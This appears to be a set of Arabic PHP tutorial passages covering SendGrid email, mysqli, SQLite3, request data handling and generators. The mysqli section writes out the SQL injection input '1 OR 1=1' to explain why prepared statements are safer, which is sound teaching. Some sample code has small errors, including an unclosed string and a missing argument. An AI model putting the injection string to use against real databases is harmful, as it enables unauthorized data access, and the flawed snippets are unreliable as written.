POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إرسال بريد إلكتروني يحتوي على نص بسيط باستخدام Sendgrid بريد إلكتروني يحتوي على نص بسيط <?php $sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY"); $email = new SendGrid\Email(); $email->addTo("recipient@example.com") ->setFrom("sender@example.com") ->setSubject("Subject Text") ->setText("This is a sample basic text email using "); $sendgrid->send($email); إضافة مستقبلين إضافيين، مستقبلين نسخة إضافية (CC)، مستقبلين نسخة إضافية محجوبين (BCC) <?php $sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY"); $email = new SendGrid\Email(); $email->addTo("recipient@example.com") ->setFrom("sender@example.com") ->setSubject("Subject Text") ->setHtml("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is italic.</i></p></body></html>"); $personalization = new Personalization(); $email = new Email("Recepient Name", "recepient1@example.com"); $personalization->addTo($email); $email = new Email("RecepientCC Name", "recepient2@example.com"); $personalization->addCc($email); $email = new Email("RecepientBCC Name", "recepient3@example.com"); $personalization->addBcc($email); $email->addPersonalization($personalization); $sendgrid->send($email); إرسال بريد إلكتروني مع مرفق باستخدام Sendgrid إليك الشيفرة الكاملة: <?php $sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY"); $email = new SendGrid\Email(); $email->addTo("recipient@example.com") ->setFrom("sender@example.com") ->setSubject("Subject Text") ->setText("This is a sample basic text email using "); $attachment = '/path/to/your/file.pdf'; $content = file_get_contents($attachment); $content = chunk_split(base64_encode($content)); $attachment = new Attachment(); $attachment->setContent($content); $attachment->setType("application/pdf"); $attachment->setFilename("RenamedFile.pdf"); $attachment->setDisposition("attachment"); $email->addAttachment($attachment); $sendgrid->send($email); ترجمة -وبتصرف- للفصل [Sending Email] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: ملاحظات حول استعمال بروتوكول IMAP في PHP المقال السابق: استخدام MongoDB و Redis في PHP
  23. واجهة mysqli هي تحسين (وتعني إضافة MySQL محسَّنة "MySQL Improvement extension") لواجهة MySQL التي أُهملت في الإصدار 5.5 وحُذِفت في الإصدار 7.0. طُوِّرت إضافة mysqli المعروفة أيضًا باسم إضافة MySQL المحسَّنة للاستفادة من إيجابيات الميزات الجديدة الموجودة في إصدارات أنظمة MySQL بدءًا من الإصدار 4.1.3 وما بعد. ضُمِّنت إضافة mysqli في الإصدار PHP 5 وما بعده. إغلاق الاتصال يُنصَح بإغلاق الاتصال بعد الانتهاء من الاستعلام من قاعدة البيانات لتحرير الموارد. النمط الكائني التوجه $conn->close(); النمط الإجرائي mysqli_close($conn); ملاحظة: سيُغلق الاتصال مع الخادم حالما ينتهي تنفيذ السكربت ما لم يُغلق مبكرًا باستدعاء دالة إغلاق الاتصال بشكلٍ صريح. حالة استخدام: يجب بكل تأكيد إغلاق الاتصال إذا احتوى السكربت على كمية معقولة من المعالجة بعد جلب النتيجة واستعاد مجموعة النتائج كاملةً، إذا لم نقم بذلك فهناك احتمال أن يصل خادم MySQL إلى حد الاتصال عندما يكون خادم الويب قيد الاستخدام المكثف. اتصال MySQLi النمط الكائني التوجه الاتصال بالخادم: $conn = new mysqli("localhost","my_user","my_password"); ضبط قاعدة البيانات الافتراضية: $conn->select_db("my_db"); الاتصال بقاعدة البيانات: $conn = new mysqli("localhost","my_user","my_password","my_db"); النمط الإجرائي الاتصال بالخادم: $conn = mysqli_connect("localhost","my_user","my_password"); ضبط قاعدة البيانات الافتراضية: mysqli_select_db($conn, "my_db"); الاتصال بقاعدة البيانات: $conn = mysqli_connect("localhost","my_user","my_password","my_db"); التحقق من الاتصال بقاعدة البيانات النمط الكائني التوجه if ($conn->connect_errno > 0) { trigger_error($db->connect_error); } // else: successfully connected النمط الإجرائي if (!$conn) { trigger_error(mysqli_connect_error()); } // else: successfully connected تمرير حلقة على نتائج MySQLi تجعل PHP من السهل الحصول على البيانات من النتائج وتكرارها باستخدام تعليمة while، وترجع false عندما تفشل في الحصول على السطر التالي وتنتهي الحلقة. تعمل هذه الأمثلة مع: mysqli_fetch_assoc - مصفوفة ترابطية مع أسماء الأعمدة كمفاتيح. mysqli_fetch_object - كائن stdClass مع أسماء الأعمدة كمتغيرات. mysqli_fetch_array - مصفوفة ترابطية وعددية (يمكنك استخدام وسيط لتحصل على إحداها) mysqli_fetch_row - مصفوفة عددية. النمط الكائني التوجه while($row = $result->fetch_assoc()) { var_dump($row); } النمط الإجرائي while($row = mysqli_fetch_assoc($result)) { var_dump($row); } يمكننا استخدام الشيفرة التالية للحصول على معلومات دقيقة من النتائج: while ($row = $result->fetch_assoc()) { echo 'Name and surname: '.$row['name'].' '.$row['surname'].'<br>'; // ‫طباعة معلومات من العمود 'age' echo 'Age: '.$row['age'].'<br>'; } تعليمات التحضير في MySQLi يمكنك قراءة المزيد حول منع حقن SQL مع الاستعلامات التي تحوي معاملات لمعرفة سبب مساعدة تعليمات التحضير لك في تأمين تعليمات SQL ضد هجمات حقن SQL. المتغير ‎$conn هو كائن MySQLi في الشيفرات التالية وفي المثالين نفرض أنّ ‎$sql: $sql = "SELECT column_1 FROM table WHERE column_2 = ? AND column_3 > ?"; تمثّل ? القيم التي سنوفرها لاحقًا، لاحظ أننا لا نحتاج علامات الاقتباس للنصوص البديلة بغض النظر عن النوع، يمكننا أيضًا أن نوفر النصوص البديلة فقط في جزء البيانات من الاستعلام أي SET وVALUES وWHERE، ولا يمكن استخدام النصوص البديلة في الأجزاء SELECT أو FROM. النمط الكائني التوجه if ($stmt = $conn->prepare($sql)) { $stmt->bind_param("si", $column_2_value, $column_3_value); $stmt->execute(); $stmt->bind_result($column_1); $stmt->fetch(); // ‫يمكننا الآن استخدام المتغير ‎$column_1 مثل أي متغير PHP آخر $stmt->close(); } النمط الإجرائي if ($stmt = mysqli_prepare($conn, $sql)) { mysqli_stmt_bind_param($stmt, "si", $column_2_value, $column_3_value); mysqli_stmt_execute($stmt); // جلب البيانات هنا mysqli_stmt_close($stmt); } يُحدَّد المعامل الأول للتابع ‎$stmt->bind_param أو المعامل الثاني للتابع mysqli_stmt_bind_param وفقًا لنمط البيانات للمعامل المقابل في استعلام SQL: table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } المعامل نوع البيانات للمعامل المقيّد i integer عدد صحيح d double عدد عشري s string سلسلة نصية b blob كائن بيانات ثنائية يجب أن تكون قائمة المعاملات بنفس الترتيب الموجود في الاستعلام، تعني si في هذا المثال أنّ المعامل الأول ‎(column_2 = ?)‎ هو سلسلة نصية والمعامل الثاني ‎(column_3 > ?)‎ عدد صحيح. سلاسل الهروب النصية سلاسل الهروب النصية (Escaping Strings) طريقة قديمة (وأقل أمنًا) لتأمين البيانات لإدراجها في استعلام، تعمل باستخدام دالة MySQL ‏mysql_real_escape_string()‎ لمعالجة وتعقيم البيانات (أي أنّ PHP لا تقوم بعملية الهروب). توفر واجهة برمجة التطبيقات MySQLi الوصول المباشر لهذه الدالة. $escaped = $conn->real_escape_string($_GET['var']); //أو $escaped = mysqli_real_escape_string($conn, $_GET['var']); عند هذه النقطة يصبح لديك سلسلة نصية تعدها MySQL آمنة للاستخدام في استعلام مباشر. $sql = 'SELECT * FROM users WHERE username = "' . $escaped . '"'; $result = $conn->query($sql); إذًا لم لا تُعدّ هذه الطريقة آمنة مثل تعليمات التحضير؟ لأنه يوجد عدة طرق لخداع MySQL لإنتاج سلسلة نصية تُعد آمنة. إليك المثال التالي: $id = mysqli_real_escape_string("1 OR 1=1"); $sql = 'SELECT * FROM table WHERE id = ' . $id; لا يمثّل التعبير ‎1 OR 1=1‎ بيانات ستهرّبها MySQL، لكنه لا يزال يمثّل حقن SQL، يوجد أمثلة أخرى تمثّل حالات تُعاد فيها بيانات غير آمنة، المشكلة هي أنّ دالة الهروب في MySQL صُممت لجعل البيانات تتوافق مع صيغة SQL وليس للتأكد من أنّ MySQL لا تتمكن من خلط بيانات المستخدم من أجل تعليمات SQL. تنقيح أخطاء SQL في MySQLi الاستعلام في الشيفرة التالية سيفشل (استخدمنا المتغير ‎$conn للاتصال بالخادم كما وضحنا سابقًا): $result = $conn->query('SELECT * FROM non_existent_table'); نتيجة ‎$result هي false وهذا لا يساعدنا على معرفة الخطأ، لحسن الحظ يمكن لمتغير الاتصال ‎$conn أن يخبرنا عن الفشل: trigger_error($conn->error); أو بالنمط الإجرائي: trigger_error(mysqli_error($conn)); عندها ستحصل على خطأ مشابه لما يلي: Table 'my_db.non_existent_table' doesn't exist استعلام MySQLi تأخذ الدالة query سلسلة SQL صحيحة وتنفّذها مباشرةً على الاتصال بقاعدة البيانات ‎$conn. النمط الكائني التوجه $result = $conn->query("SELECT * FROM `people`"); النمط الإجرائي $result = mysqli_query($conn, "SELECT * FROM `people`"); سيظهر تحذير، المشكلة الشائعة هنا هي أنّك تنفّذ الشيفرة ببساطة وتتوقعها أن تعمل (تعيد مثلًا كائنًا من الصنف mysqli_stmt)، بما أنّ هذه الدالة تأخذ سلسلة نصية فقط فأنت تبني الاستعلام أولًا وإذا وُجدَت أي أخطاء في SQL سيفشل مصرِّف MySQL وعندها تعيد الدالة القيمة false. // سيفشل الاستعلام التالي $result = $conn->query('SELECT * FROM non_existent_table'); $row = $result->fetch_assoc(); ستنتج الشيفرة السابقة خطأ E_FATAL لأنّ نتيجة ‎$result هي false وليس كائنًا. PHP Fatal error: Call to a member function fetch_assoc() on a non-object الخطأ الإجرائي مشابه لكنه ليس خطأً فادحًا لأننا نخترق توقعات الدالة فقط. // نفس الاستعلام السابق $row = mysqli_fetch_assoc($result); ستحصل على الرسالة التالية من PHP: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given يمكنك تجنب هذا باستخدام شيفرة الاختبار التالية: if($result) $row = mysqli_fetch_assoc($result); كيفية الحصول على البيانات من تعليمات التحضير تعليمات التحضير اطّلع على تعليمات التحضير في mysqli لمعرفة كيفية تحضير وتنفيذ استعلام. ربط النتائج النمط الكائني التوجه $stmt->bind_result($forename); النمط الإجرائي mysqli_stmt_bind_result($stmt, $forename); مشكلة استخدام الدالة bind_result أنّها تتطلب تعليمة لتحديد الأعمدة التي ستُستخدم، أي أنّه كي تعمل الشيفرة السابقة يجب أن يبدو الاستعلام بالشكل SELECT forename FROM users، لتضمين المزيد من الأعمدة يمكنك إضافتها كمعاملات للدالة bind_result (وتأكد من إضافتهم إلى استعلام SQL). نُسند في كلتا الحالتين العمود forename للمتغير ‎$forename، تأخذ هذه الدالة عدد وسائط بعدد الأعمدة التي تريد إسنادها، يتم هذا الإسناد مرة واحدة بما أنّ الدالة تُربَط بالمرجع، لذا يمكننا تمرير حلقة بالشكل التالي: النمط الكائني التوجه while ($stmt->fetch()) echo "$forename<br />"; النمط الإجرائي while (mysqli_stmt_fetch($stmt)) echo "$forename<br />"; العيب في هذا أنّك تحتاج لإسناد الكثير من المتغيرات في وقت واحد وهذا يجعل تتبع الاستعلامات الكبيرة أمرًا صعبًا، إذا كان لديك محرك MySQL أساسي (mysqlnd) مثبّت فإنّ كل ما تحتاجه هو استخدام get_result. النمط الكائني التوجه $result = $stmt->get_result(); النمط الإجرائي $result = mysqli_stmt_get_result($stmt); يعدّ هذا سهلًا لأننا نحصل على كائن من الصنف mysqli_result? وهو نفس الكائن الذي تعيده mysqli_query أي أنّه يمكنك استخدام حلقة لعرض النتيجة. ماذا لو لم نستطع تثبيت mysqlnd؟ يمكنك الاطلاع على جواب مناسب من هنا. يمكن أن تؤدي هذه الدالة مهمة get_result بدون أن تكون مثبّتة على الخادم، فهي ببساطة تكرر النتائج وتبني مصفوفة ترابطية. function get_result(\mysqli_stmt $statement) { $result = array(); $statement->store_result(); for ($i = 0; $i < $statement->num_rows; $i++) { $metadata = $statement->result_metadata(); $params = array(); while ($field = $metadata->fetch_field()) { $params[] = &$result[$i][$field->name]; } call_user_func_array(array($statement, 'bind_result'), $params); $statement->fetch(); } return $result; } يمكننا بعدها استخدام الدالة للحصول على النتائج كما لو أننا نستخدم mysqli_fetch_assoc()‎: <?php $query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?"); $condition = "J%"; $query->bind_param("s", $condition); $query->execute(); $result = get_result($query); while ($row = array_shift($result)) { echo $row["id"] . ' - ' . $row["forename"] . ' ' . $row["surname"] . '<br>'; } سيظهر لنا نفس الخرج في حالة استخدام محرك mysqlnd باستثناء أنّه لا يحتاج للتثبيت، وهذا الحل مناسب جداً إذا كنت لا تستطيع تثبيت المحرك. إضافة معرف في MySQLi استعادة آخر معرّف مولَّد من استعلام INSERT على جدول فيه عمود AUTO_INCREMENT. النمط الكائني التوجه $id = $conn->insert_id; النمط الإجرائي $id = mysqli_insert_id($conn); ترجع الشيفرة السابقة القيمة صفر إذا لم يكن هناك استعلام سابق على الاتصال أو إذا لم يحدّث الاستعلام قيمة AUTO_INCREMENT. إضافة معرّف عند تحديث الأسطر لا تُرجع تعليمة UPDATE معرّف السطر المُضاف في الحالة العادية، إذ يُرجَع المعرّف AUTO_INCREMENT عند حفظ سطر جديد فقط (أو إضافته)، يمكن استخدام الصياغة INSERT ... ON DUPLICATE KEY UPDATE للتحديث مما يجعل التحديثات تطرأ على المعرِّف الجديد. مثال: CREATE TABLE iodku ( id INT AUTO_INCREMENT NOT NULL, name VARCHAR(99) NOT NULL, misc INT NOT NULL, PRIMARY KEY(id), UNIQUE(name) ) ENGINE=InnoDB; INSERT INTO iodku (name, misc) VALUES ('Leslie', 123), ('Sally', 456); Query OK, 2 rows affected (0.00 sec) Records: 2 Duplicates: 0 Warnings: 0 id name misc 1 Leslie 123 2 Sally 456 في حال حدّثَ الجدول IODKU واستعاد LAST_INSERT_ID()‎ المعرِّف المرتبط: $sql = "INSERT INTO iodku (name, misc) VALUES ('Sally', 3333) ON DUPLICATE KEY UPDATE id = LAST_INSERT_ID(id), misc = VALUES(misc)"; $conn->query($sql); $id = $conn->insert_id; يجب أن تحدّث الشيفرة السابقة السطر الثاني من الجدول وتعيد القيمة الحالية للمعرِّف (2). الحالة التي يحدث فيها إضافة سطر وتعيد LAST_INSERT_ID()‎ المعرِّف الجديد: $sql = "INSERT INTO iodku (name, misc) VALUES ('Dana', 789) ON DUPLICATE KEY UPDATE id = LAST_INSERT_ID(id), misc = VALUES(misc); $conn->query($sql); $id = $conn->insert_id; يجب أن تضيف الشيفرة السابقة سطرًا جديدًا إلى الجدول وتعيد القيمة الأخيرة للمعرِّف (3). ينتج عن الاستعلام: SELECT * FROM iodku; الجدول التالي: id name misc 1 Leslie 123 2 Sally 3333 3 Dana 789 درس سريع لمكتبة SQLite3 إليك مثال كامل عن جميع واجهات برمجة التطبيقات الشائعة الاستخدام المرتبطة بمكتبة SQLite3، بهدف جعلك تعمل بسرعة كبيرة ويمكنك أيضاً الحصول على ملف PHP قابل للتنفيذ لهذا الدرس. إنشاء/فتح قاعدة بيانات ننشئ قاعدة بيانات أولاً، ننشئها فقط إذا لم يكن الملف موجوداً ونفتحها للقراءة/الكتابة، امتداد الملف يعود لك لكن الشائع هو استخدام الامتداد ‎.sqlite الأكثر إيضاحًا. $db = new SQLite3('analytics.sqlite', SQLITE3_OPEN_CREATE | SQLITE3_OPEN_READWRITE); إنشاء جدول $db->query('CREATE TABLE IF NOT EXISTS "visits" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" INTEGER, "url" VARCHAR, "time" DATETIME )'); إضافة عينة بيانات يُنصح بإحاطة الاستعلامات المرتبطة ضمن عملية (transaction) (مع الكلمات المفتاحية BEGIN وCOMMIT) حتى لو لم تكن مهتمًا بالترابط، إذا لم تفعل ذلك فإنّ SQLite ستحيط كل استعلام مفرد بعملية بشكلٍ تلقائي مما يؤدي إلى البطء الشديد. قد تُفاجئ بسبب بطء تعليمات INSERT إذا كنت جديدًا على استخدام SQLite. $db->exec('BEGIN'); $db->query('INSERT INTO "visits" ("user_id", "url", "time") VALUES (42, "/test", "2017-01-14 10:11:23")'); $db->query('INSERT INTO "visits" ("user_id", "url", "time") VALUES (42, "/test2", "2017-01-14 10:11:44")'); $db->exec('COMMIT'); يمكنك القيام بإضافة بيانات قد لا تكون آمنة مع تعليمة تحضير، باستخدام المعاملات ذات الأسماء (named parameters): $statement = $db->prepare('INSERT INTO "visits" ("user_id", "url", "time") VALUES (:uid, :url, :time)'); $statement->bindValue(':uid', 1337); $statement->bindValue(':url', '/test'); $statement->bindValue(':time', date('Y-m-d H:i:s')); $statement->execute(); you can reuse the statement with different values جلب البيانات لنجلب زيارات اليوم للمستخدم رقم 42، سنستخدم تعليمة التحضير من جديد لكن هذه المرة مع معاملات ذات أسماء وهذا أكثر إيجازًا: $statement = $db->prepare('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?'); $statement->bindValue(1, 42); $statement->bindValue(2, '2017-01-14'); $result = $statement->execute(); echo "Get the 1st row as an associative array:\n"; print_r($result->fetchArray(SQLITE3_ASSOC)); echo "\n"; echo "Get the next row as a numeric array:\n"; print_r($result->fetchArray(SQLITE3_NUM)); echo "\n"; ملاحظة: تُرجع الدالة fetchArray()‎ القيمة false إذا لم يكن هناك المزيد من الأسطر، يمكنك الاستفادة من هذا في حلقة while. حرّر الذاكرة - لا يحدث هذا تلقائيًا أثناء تشغيل السكربت. $result->finalize(); الاختزالات إليك اختزال مفيد لجلب سطر واحد كمصفوفة ترابطية، يعني المعامل الثاني أننا نريد كل الأعمدة المُختارة. انتبه إلى أنّ هذا الاختزال لا يدعم ربط المعاملات لكن يمكنك بدلًا من ذلك الهروب من السلاسل النصية، ضع القيم دائمًا بين علامات اقتباس مفردة إذ تستخدم علامات الاقتباس المزدوجة لأسماء الجداول والأعمدة (بشكل مشابه لعلامات الاقتباس المائلة في MySQL). $query = 'SELECT * FROM "visits" WHERE "url" = \'' . SQLite3::escapeString('/test') . '\' ORDER BY "id" DESC LIMIT 1'; $lastVisit = $db->querySingle($query, true); echo "Last visit of '/test':\n"; print_r($lastVisit); echo "\n"; اختزال آخر مفيد لاستعادة قيمة واحدة فقط. $userCount = $db->querySingle('SELECT COUNT(DISTINCT "user_id") FROM "visits"'); echo "User count: $userCount\n"; echo "\n"; التنظيف في النهاية، أغلق قاعدة البيانات على الرغم من أنّ هذا يتم تلقائيًا عندما ينتهي السكربت. $db->close(); الاستعلام من قاعدة بيانات <?php // ‫إنشاء كائن SQLite3 جديد من ملف قاعدة البيانات على الخادم $database = new SQLite3('mysqlitedb.db'); // ‫الاستعلام من قاعدة البيانات باستخدام SQL $results = $database->query('SELECT bar FROM foo'); // التكرار على كل النتائج وإظهارهم على الصفحة while ($row = $results->fetchArray()) { var_dump($row); } ?> استعادة نتيجة واحدة فقط بالإضافة إلى استخدام تعليمات ‏LIMIT في SQL، يمكنك استخدام الدالة querySingle في SQLite3 لاستعادة سطر واحد أو العمود الأول. <?php $database = new SQLite3('mysqlitedb.db'); //(1) $database->querySingle('SELECT column1Name FROM table WHERE column2Name=1'); // (2) $database->querySingle('SELECT column1Name, column2Name FROM user WHERE column3Name=1', true); في الموضع (1) بدون ضبط المعامل الثاني الاختياري للقيمة true سيُرجع الاستعلام العمود الأول من السطر الأول للنتائج فقط ويكون من نفس نوع columnName. في الموضع (2) مع المعامل الاختياري entire_row سيرجع هذا الاستعلام مصفوفة من كامل السطر الأول من نتائج الاستعلام. ترجمة -وبتصرف- للفصول من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: استخدام MongoDB و Redis في PHP المقال السابق: المقابس (sockets) في PHP
  24. قراءة بيانات خام مُرسَلة عبر طلب POST تُنظَّم عادةً البيانات المُرسلة عبر طلب POST في أزواج مفتاح/قيمة مع نوع MIME ‏application/x-www-formurlencoded، ومع ذلك تتطلب العديد من التطبيقات مثل خدمات الويب (web services) بيانات خام بتنسيق XML أو JSON غالبًا لتُرسَل، يمكن قراءة هذه البيانات بإحدى طريقتين. الأولى هي عبر مجرى يوفر الوصول إلى هيكل الطلب الخام php://input. لدينا الشيفرة التالية في الإصدار PHP < 5.6: $rawdata = file_get_contents("php://input"); // ‫بفرض أننا نحصل على JSON $decoded = json_decode($rawdata); الثانية عبر المتغير ‎$HTTP_RAW_POST_DATA الذي هو متغير عام يتضمن بيانات خام مُرسَلة عبر طلب POST وهو مُتاح فقط إذا كان الموجِّه always_populate_raw_post_data في ملف php.ini مفعّلًا. $rawdata = $HTTP_RAW_POST_DATA; // ‫إذا كنا نريد الحصول على XML $decoded = simplexml_load_string($rawdata); أُهمل هذا المتغير منذ الإصدار PHP 5.6 وأُزيل في الإصدار PHP 7.0. لاحظ أنّ هذه التوابع غير متاحة عندما يُضبَط نوع المحتوى إلى القيمة multipart/form-data التي تُستَخدم لرفع الملفات. قراءة بيانات مُرسَلة عبر طلب POST تُخزَّن البيانات المُرسَلة عبر طلب POST في المتغير ذو النطاق العام العالي ‎$_POST على شكل مصفوفة ترابطية. لاحظ أنّ الوصول إلى عنصر مصفوفة غير موجود يولّد ملاحظة لذا يجب التأكد دومًا من وجود العنصر باستخدام الدوال isset()‎ أو empty()‎ أو عامل تجميع null، مثال: $from = isset($_POST["name"]) ? $_POST["name"] : "NO NAME"; $message = isset($_POST["message"]) ? $_POST["message"] : "NO MESSAGE"; echo "Message from $from: $message"; // ‫الإصدار PHP ≥ 7.0 $from = $_POST["name"] ?? "NO NAME"; $message = $_POST["message"] ?? "NO MESSAGE"; echo "Message from $from: $message"; قراءة بيانات مُرسَلة عبر طلب GET تُخزَّن البيانات المُرسَلة عبر طلب GET في المتغير ذو النطاق العام العالي ‎$_GET على شكل مصفوفة ترابطية. لاحظ أنّ الوصول إلى عنصر مصفوفة غير موجود يولّد ملاحظة لذا يجب التأكد دومًا من وجود العنصر باستخدام الدوال isset()‎ أو empty()‎ أو عامل تجميع null، مثال: مثال (بفرض لدينا الرابط ‎/topics.php?author=alice&topic=php‎): $author = isset($_GET["author"]) ? $_GET["author"] : "NO AUTHOR"; $topic = isset($_GET["topic"]) ? $_GET["topic"] : "NO TOPIC"; echo "Showing posts from $author about $topic"; // ‫الإصدار PHP ≥ 7.0 $author = $_GET["author"] ?? "NO AUTHOR"; $topic = $_GET["topic"] ?? "NO TOPIC"; echo "Showing posts from $author about $topic"; معالجة أخطاء رفع ملف قد يتضمن العنصر ‎$_FILES["FILE_NAME"]['error']‎ (حيث "FILE_NAME" قيمة الخاصيّة name للعنصر input الموجود في النموذج الخاص بك) إحدى القيم التالية: 1- UPLOAD_ERR_OK: لا يوجد خطأ، رُفِع الملف بنجاح. 2- UPLOAD_ERR_INI_SIZE: تجاوز الملف المرفوع قيمة upload_max_filesize في الملف php.ini. 3- UPLOAD_ERR_PARTIAL: تجاوز الملف المرفوع القيمة MAX_FILE_SIZE المحددة في نموذج HTML. 4- UPLOAD_ERR_NO_FILE: لم يُحمَّل أي ملف. 5- UPLOAD_ERR_NO_TMP_DIR: فقدان مجلد مؤقت (من الإصدار PHP 5.0.3). 6- UPLOAD_ERR_CANT_WRITE: فشل كتابة الملف على القرص (من الإصدار PHP 5.1.0). 7- UPLOAD_ERR_EXTENSION: إضافة PHP أوقفت رفع الملف (من الإصدار PHP 5.2.0). الطريقة الأساسية لفحص الأخطاء: <?php // ‫"FILE_NAME" قيمة الخاصيّة `name` للعنصر `input` الموجود في النموذج الخاص بك‫ $fileError = $_FILES["FILE_NAME"]["error"]; switch($fileError) { case UPLOAD_ERR_INI_SIZE: // ‫تجاوز الحجم الأعظمي المحدد في php.ini break; case UPLOAD_ERR_PARTIAL: // ‫تجاوز الحجم الأعظمي المحدد في نموذج html break; case UPLOAD_ERR_NO_FILE: // لم يُحمَّل أي ملف break; case UPLOAD_ERR_NO_TMP_DIR: // لا يوجد مجلد مؤقت للكتابة فيه break; case UPLOAD_ERR_CANT_WRITE: // خطأ في الكتابة إلى القرص break; default: // لا يوجد أخطاء! break; } تمرير مصفوفات عبر طلب POST يُرسَل عادةً عنصر نموذج HTML إلى PHP كقيمة مفردة، مثال: <pre> <?php print_r($_POST);?> </pre> <form method="post"> <input type="hidden" name="foo" value="bar"/> <button type="submit">Submit</button> </form> الخرج: Array ( [foo] => bar ) لكن قد تحتاج أحيانًا إلى تمرير مصفوفة قيم، يمكنك القيام بذلك بإضافة مايشبه اللاحقة في PHP إلى الخاصيّة name لعناصر HTML: <pre> <?php print_r($_POST);?> </pre> <form method="post"> <input type="hidden" name="foo[]" value="bar"/> <input type="hidden" name="foo[]" value="baz"/> <button type="submit">Submit</button> </form> الخرج: Array ( [foo] => Array ( [0] => bar [1] => baz ) ) يمكنك أيضًا تحديد فهارس المصفوفة إما أرقام أو سلاسل نصية: <pre> <?php print_r($_POST);?> </pre> <form method="post"> <input type="hidden" name="foo[42]" value="bar"/> <input type="hidden" name="foo[foo]" value="baz"/> <button type="submit">Submit</button> </form> الخرج: Array ( [foo] => Array ( [42] => bar [foo] => baz ) ) يمكن استخدام هذه التقنية لتجنب حلقات ما بعد المعالجة عبر مصفوفة ‎$_POST مما يجعل شيفرتك أنظف وأدق. رفع ملفات باستخدام HTTP PUT توفر PHP الدعم للطريقة HTTP PUT المستخدمة من قِبَل بعض العملاء لتخزين الملفات على الخادم، تعدّ طلبات PUT أبسط من رفع ملف باستخدام طلبات POST وتبدو بالشكل: PUT /path/filename.html HTTP/1.1 يمكنك كتابة شيفرة PHP التالية: <?php // ‫تأتي بيانات PUT من مجرى الدخل القياسي $putdata = fopen("php://input", "r"); // فتح ملف للكتابة $fp = fopen("putfile.ext", "w"); // قراءة 1 كيلوبايت في كل مرة وكتابتها في الملف while ($data = fread($putdata, 1024)) fwrite($fp, $data); /* إغلاق المجاري */ fclose($fp); fclose($putdata); ?> ترجمة -وبتصرف- للفصل [Reading Request Data] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: المقابس (sockets) في PHP المقال السابق: التعامل مع الروابط URL في PHP
  25. الكلمة المفتاحية Yield تشبه التعليمة yield تعليمة return باستثناء أنّه بدلًا من إيقاف تنفيذ الدالة وإرجاع شيء ما، فإنّها تُرجع كائن Generator وتوقف تنفيذ دالة المولِّد، إليك مثال عن دالة مجال مكتوبة كمولِّد: function gen_one_to_three() { for ($i = 1; $i <= 3; $i++) { // ‫لاحظ أنّ المتغير ‎$i مسبوق بالكلمة المفتاحية yield. yield $i; } } يمكنك ملاحظة أنّ هذه الدالة ترجع كائنًا من النوع مولِّد Generator من خلال فحص الخرج باستخدام الدالة var_dump: var_dump(gen_one_to_three()) /* class Generator (0) { } */ القيم المعادة (Yielding) يمكن تكرار الكائن Generator مثل المصفوفة: foreach (gen_one_to_three() as $value) { echo "$value\n"; } خرج المثال السابق: 1 2 3 القيم المعادة مع مفاتيح بالإضافة إلى إعادة قيم يمكنك إعادة أزواج قيمة/مفتاح: function gen_one_to_three() { $keys = ["first", "second", "third"]; for ($i = 1; $i <= 3; $i++) { // ‫لاحظ أنّ المتغير ‎$i‎ هو قيمة معادة yield $keys[$i - 1] => $i; } } foreach (gen_one_to_three() as $key => $value) { echo "$key: $value\n"; } خرج المثال السابق: first: 1 second: 2 third: 3 قراءة ملف كبير باستخدام مولد إحدى حالات الاستخدام الشائعة للمولِّدات هي قراءة ملف من القرص والمرور على كامل محتوياته، إليك في الشيفرة التالية صنفًا يسمح لك بالتكرار عبر ملف CSV، يمكن التنبؤ باستخدام الذاكرة لهذا السكربت ولن يتفاوت هذا الاستخدام بتغير حجم ملف CSV. <?php class CsvReader { protected $file; public function __construct($filePath) { $this->file = fopen($filePath, 'r'); } public function rows() { while (!feof($this->file)) { $row = fgetcsv($this->file, 4096); yield $row; } return; } } $csv = new CsvReader('/path/to/huge/csv/file.csv'); foreach ($csv->rows() as $row) { // ‫القيام بشيء ما مع صف CSV } لماذا نستخدم المولِّد؟ تعدّ المولِّدات مفيدةً عندما نحتاج إلى توليد مجموعة كبيرة للمرور عليها لاحقًا، وهي أبسط بديل لإنشاء صنف ينفّذ مكرِّرًا والذي غالبًا ما يكون مبالغ به. بفرض لدينا الدالة التالية: function randomNumbers(int $length) { $array = []; for ($i = 0; $i < $length; $i++) { $array[] = mt_rand(1, 10); } return $array; } تولِّد الدالة السابقة مصفوفة تُملأ بأرقام عشوائية، قد نستخدمها بالشكل randomNumbers(10)‎ مثلًا مما يعطينا مصفوفة من 10 أرقام عشوائية، لكن ماذا لو أردنا توليد مليون رقمًا عشوائيًا؟ يمكننا القيام بذلك بكتابة randomNumbers(1000000)‎ لكن هذا يكلّف ذاكرة، إذ أنّ مليون عدد صحيح مخزّن في مصفوفة يحتاج إلى حوالي 33 ميجابايت من الذاكرة. $startMemory = memory_get_usage(); $randomNumbers = randomNumbers(1000000); echo memory_get_usage() - $startMemory, ' bytes'; هذا بسبب توليد مليون رقم عشوائي وإرجاعه مرةً واحدةً، بدلًا من توليد وإرجاع رقم في كل مرة، تعدّ المولِّدات طريقةً سهلةً لحل هذه المشكلة. استخدام دالة send()‎ لتمرير القيم إلى مولد تُشفَّر المولِّدات بسرعة وتكون في الكثير من الحالات بديلًا خفيفًا عن تنفيذات المكرِّر الثقيلة، ومع التنفيذ السريع يصبح لدينا نقصًا قليلًا في التحكم عندما يجب أن يتوقف المولِّد عن التوليد أو إذا كان يجب أن يولِّد شيئًا آخر. لكن يمكن تحقيق ذلك باستخدام دالة send()‎ مما يتيح لدالة الطلب إرسال المعاملات إلى المولِّد بعد كل حلقة. بفرض أنّه نريد الوصول إلى كمية بيانات كبيرة باستخدام المولِّد في الشيفرة التالية: function generateDataFromServerDemo() { // في هذا المثال نُرسل التغذية الراجعة في كل تكرار للحلقة بدلًا من إرسال بيانات من الخادم $indexCurrentRun = 0; $timeout = false; while 